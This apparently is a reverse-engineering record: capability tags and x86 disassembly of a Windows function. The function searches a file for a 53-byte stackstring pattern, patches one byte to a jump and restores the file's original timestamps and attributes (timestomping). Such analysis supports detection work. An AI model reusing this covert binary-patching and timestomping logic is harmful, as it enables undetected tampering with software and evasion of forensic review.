Function at 0x403c30
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Get file size
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
sub esp, 0x60
push ebx
mov bl, 0xcd
mov cl, 0x83
mov al, 0x16
mov dl, 0x2f
push ebp
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3b], cl
mov cl, 0x75
mov byte [esp + 0x47], bl
mov byte [esp + 0x57], bl
mov ebx, dword [esp + 0x6c]
push ebx
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x36], 0x52
mov byte [esp + 0x37], 0xbb
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], 0
mov byte [esp + 0x3a], 0xb8
mov byte [esp + 0x3c], al
mov byte [esp + 0x3e], dl
mov byte [esp + 0x40], 0xfb
mov byte [esp + 0x41], 1
mov byte [esp + 0x42], cl
mov byte [esp + 0x43], 0x22
mov byte [esp + 0x44], 0xb8
mov byte [esp + 0x45], 0xe
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0xb2
mov byte [esp + 0x48], 0
mov byte [esp + 0x49], 0xb3
mov byte [esp + 0x4a], 6
mov byte [esp + 0x4c], dl
mov byte [esp + 0x4d], 0xb
mov byte [esp + 0x4e], 0xc0
mov byte [esp + 0x4f], cl
mov byte [esp + 0x50], 0x15
mov byte [esp + 0x51], 0x80
mov byte [esp + 0x52], 0xfa
mov byte [esp + 0x53], 3
mov byte [esp + 0x54], cl
mov byte [esp + 0x55], 0x10
mov byte [esp + 0x56], 0xb8
mov byte [esp + 0x57], 0xe
mov byte [esp + 0x58], al
mov byte [esp + 0x59], 0xb3
mov byte [esp + 0x5a], 3
mov byte [esp + 0x5c], dl
mov byte [esp + 0x5d], 0x8b
mov byte [esp + 0x5e], al
mov byte [esp + 0x5f], 0x1c
mov byte [esp + 0x60], 0x3b
mov byte [esp + 0x61], 0xe8
mov byte [esp + 0x62], 0x53
mov byte [esp + 0x63], 0xfd
mov byte [esp + 0x64], 0xeb
mov byte [esp + 0x65], 0xfe
mov byte [esp + 0x66], 0x5a
mov byte [esp + 0x67], 0x5b
mov byte [esp + 0x68], 0x58
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x80
push ebx
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x403d79
pop ebp
xor eax, eax
pop ebx
add esp, 0x60
ret
push esi
push edi
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x38]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
je 0x403e91
push edi
call fcn.00406a90
mov esi, eax
add esp, 4
test esi, esi
mov dword [esp + 0x18], esi
je 0x403e91
push 0
lea eax, [esp + 0x14]
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403e88
cmp edi, dword [esp + 0x10]
jne 0x403e88
xor eax, eax
add edi, 0xffffffcc
mov dword [esp + 0x14], edi
je 0x403e0e
jmp 0x403df0
mov esi, dword [esp + 0x18]
nop
add esi, eax
mov ecx, 0x35
lea edi, [esp + 0x38]
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
mov edi, dword [esp + 0x14]
je 0x403e0a
inc eax
cmp eax, edi
jb 0x403deb
mov esi, dword [esp + 0x18]
cmp eax, edi
jae 0x403e49
xor ecx, ecx
push ecx
push ecx
lea edi, [eax + esi + 0x20]
push ecx
add eax, 0x20
push eax
push ebp
mov byte [edi], 0xeb
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x403e88
push 0
lea eax, [esp + 0x14]
push eax
push 1
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403e88
cmp dword [esp + 0x10], 1
jne 0x403e88
push esi
call fcn.0040683a
add esp, 4
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x38]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x60
ret
push esi
call fcn.0040683a
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x60
ret